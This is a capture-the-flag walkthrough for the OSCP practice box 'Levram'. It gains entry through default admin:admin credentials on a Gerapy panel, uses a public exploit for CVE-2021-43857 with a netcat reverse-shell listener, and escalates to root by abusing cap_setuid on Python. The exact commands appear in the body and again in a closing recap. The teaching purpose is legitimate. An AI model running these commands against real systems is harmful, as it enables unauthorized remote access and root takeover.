OSCP Proving Grounds – Levram Walkthrough
ToxSec | Web Exploitation & Linux Privilege Escalation Practice
0x00 OSCP Proving Grounds - Levram
Levram is lean and surgical. No filler, no rabbit holes. You go from lazy creds on a forgotten web panel, to an authenticated RCE, and finish with a stealthy cap_setuid privilege escalation.
That makes it a near-perfect OSCP-style target: every step teaches something you’ll actually use in real engagements.
Web panels are often deployed without hardening.
Exploits only work when you understand the app’s execution flow.
Linux capabilities hide escalations most hunters miss.
Levram forces you to think like an attacker who reads beyond the exploit code.
0x01 Initial Enumeration
First sweep:
nmap -sC -sV -p- $IP --open
Results:
22/tcp open ssh
8000/tcp open http
SSH is locked down, so focus shifts to port 8000.
Pulling it up in the browser reveals Gerapy, a GUI for Scrapy spiders. It’s an internal dev tool — in the wild, it rarely belongs on an exposed box. When it does, it’s usually forgotten, unpatched, and wide open.
Quick Check for Defaults
Never overthink the first login attempt:
Username: admin
Password: admin
And we’re in.
Lesson Drop: Default Credentials
Default creds aren’t just a CTF trope; they’re a recurring real-world failure. CI/CD dashboards, forgotten staging servers, embedded devices - if it’s internal-facing software that accidentally made it public, there’s a good chance the admin never changed the defaults. As a bug bounty hunter, always start simple.
0x02 Exploiting Gerapy
Inside the Gerapy panel, the footer showed the version: 0.9.7. That’s a gift. Quick exploit recon with Searchsploit:
searchsploit -m python/remote/50640.py
Pulled down an exploit for CVE-2021-43857 — an authenticated RCE in Gerapy’s project build system.
First Attempt: Fail
python3 50640.py --target $RHOST -p 8000 -L $LHOST -P 4444
No callback. No errors. Just silence.
That’s where many hunters bail or start tweaking payloads blindly. But the exploit wasn’t broken — my context was. Gerapy only executes builds if a project exists. No project, no trigger.
Second Attempt: Win
Created a dummy project in the web UI (just a name, no code). Reran the exploit:
python3 50640.py --target $RHOST -p 8000 -L $LHOST -P 4444
rlwrap nc -lvnp 4444
This time, the shell popped. Landed as app.
cat /home/app/user.txt
First flag down.
Sidebar: Authenticated RCE in the Real World
Authenticated RCE often gets dismissed in bug bounty — “needs creds, low impact.” That’s a mistake.
Credential reuse is rampant. If Jenkins or Gerapy is exposed with weak creds, odds are those same creds open doors elsewhere.
Internal tooling isn’t hardened. Developers rarely patch staging dashboards. Once you’re in, you’re usually one version check away from RCE.
Chain potential. Authenticated RCE isn’t the end — it’s the pivot. From there you can loot secrets, service tokens, or pipeline configs that lead deeper into the environment.
When you see “auth required” in an exploit, don’t dismiss it. Ask: how hard is it to get those creds? In Levram’s case, they were admin:admin.
0x03 Privilege Escalation
With the foothold established as app, it was time to climb. First pass through the usual suspects:
sudo -l
find / -perm -4000 -type f 2>/dev/null
Nothing. Dead end.
But capability checks tell a different story:
getcap -r / 2>/dev/null
Result:
/usr/bin/python3.10 = cap_setuid+ep
That’s gold. Linux capabilities are like fine-grained SUID bits. And cap_setuid means this binary can set its own UID, essentially letting Python “become root” if you know the right trick.
Straight from GTFOBins:
/usr/bin/python3.10 -c 'import os; os.setuid(0); os.system("/bin/bash")'
Escalation complete.
whoami
root
cat /root/root.txt
Box owned.
Sidebar: Linux Capabilities: The Ghosts of Priv-Esc
Most privilege escalation checklists stop at SUID binaries. But modern Linux kernels split privileges into capabilities — small, isolated rights assigned to executables. They’re quieter than SUID and often overlooked.
Key points:
cap_setuid → lets a binary change its effective UID. (Root on demand).
cap_net_bind_service → lets a binary bind to privileged ports. (Abuse for port hijacking).
cap_sys_admin → effectively “root lite,” with hundreds of admin rights.
Why it matters:
Capabilities don’t show up in normal
find / -perm
checks.They do show up with
getcap -r / 2>/dev/null
.Many defenders miss them in hardening.
Takeaway for hunters: Add getcap
to your post-exploitation flow. If you’re skipping it, you’re blind to some of the cleanest escalations Linux offers.
0x04 Debrief
Levram rewards precision:
Default creds cracked the panel.
Authenticated RCE needed context (dummy project).
Capability abuse sealed the deal with root.
No filler, no guessing. Just a clean chain that reinforces why enumeration, logic, and thorough post-ex checks matter.
In real-world bounty or pentest work, this translates cleanly:
Internal tools often leak to the perimeter.
Exploits aren’t plug-and-play — you need to know why they fire.
Linux capabilities hide in plain sight. If you don’t check for them, you’ll miss quick escalations.
0x05 Command Recap
# Recon
nmap -sC -sV -p- $IP --open
# Foothold
# Login at :8000 with admin:admin
# Exploit
searchsploit -m python/remote/50640.py
# Create dummy project in Gerapy UI
python3 50640.py --target $RHOST -p 8000 -L $LHOST -P 4444
rlwrap nc -lvnp 4444
# Priv-Esc
getcap -r / 2>/dev/null
/usr/bin/python3.10 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# Flags
cat /home/app/user.txt
cat /root/root.txt
Sidebar: Exploits Don’t Think — You Do
Levram drove home a core truth: tools run code, but you interpret behavior.
The exploit script “failed” at first, not because it was broken, but because Gerapy required a project context.
Knowing how the backend worked (builds need projects) turned failure into a win.
This is the difference between a script-kiddie run and a professional exploit chain. Blindly rerunning payloads teaches nothing. Dissecting why they failed builds instincts that transfer across every target.
Takeaway for hunters: Exploit logic matters more than exploit tools. Always ask, what is this code actually trying to do?